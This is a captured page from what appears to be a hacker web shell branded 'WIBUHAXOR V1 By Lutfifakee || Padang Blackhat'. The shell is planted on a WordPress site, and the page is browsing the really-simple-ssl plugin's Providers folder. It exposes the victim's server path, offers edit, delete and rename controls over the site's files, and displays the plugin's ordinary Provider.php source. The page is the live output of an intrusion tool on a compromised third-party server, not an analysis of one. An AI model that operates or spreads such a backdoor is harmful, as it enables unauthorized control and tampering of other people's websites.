-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
really-simple-ssl
/
core
/
app
/
Providers
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ConfigServiceProvider.php
2.163KB
Edit File
Delete File
Rename
Provider.php
1.588KB
Edit File
Delete File
Rename
RequestServiceProvider.php
1.362KB
Edit File
Delete File
Rename
<?php namespace ReallySimplePlugins\RSS\Core\Providers; use ReallySimplePlugins\RSS\Core\Bootstrap\App; use ReallySimplePlugins\RSS\Core\Interfaces\ProviderInterface; use ReallySimplePlugins\RSS\Core\Support\Utility\StringUtility; class Provider implements ProviderInterface { /** * Register the provided services. Will be used to find and call the * provide{Service} methods. You can use lowercase for the service name. */ protected array $provides = []; /** * Providers are classes that provide functionality to the container. Child * classes should never use the container instance themselves to prevent * recursion in the container registry. Therefor child Providers should * always return the provided functionality directly in the * provide{Function} method instead of setting it in the * container. This is why this property is private. */ private App $app; final public function __construct(App $app) { $this->app = $app; } /** * Method will be called by the ProviderManager to serve the provided * services. */ final public function provide(): void { foreach ($this->provides as $provide) { $method = 'provide' . StringUtility::snakeToPascalCase($provide); if (method_exists($this, $method) === false) { continue; } $providedFunctionality = $this->$method(); $this->app->set($provide, static function() use ($providedFunctionality) { return $providedFunctionality; }); } } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat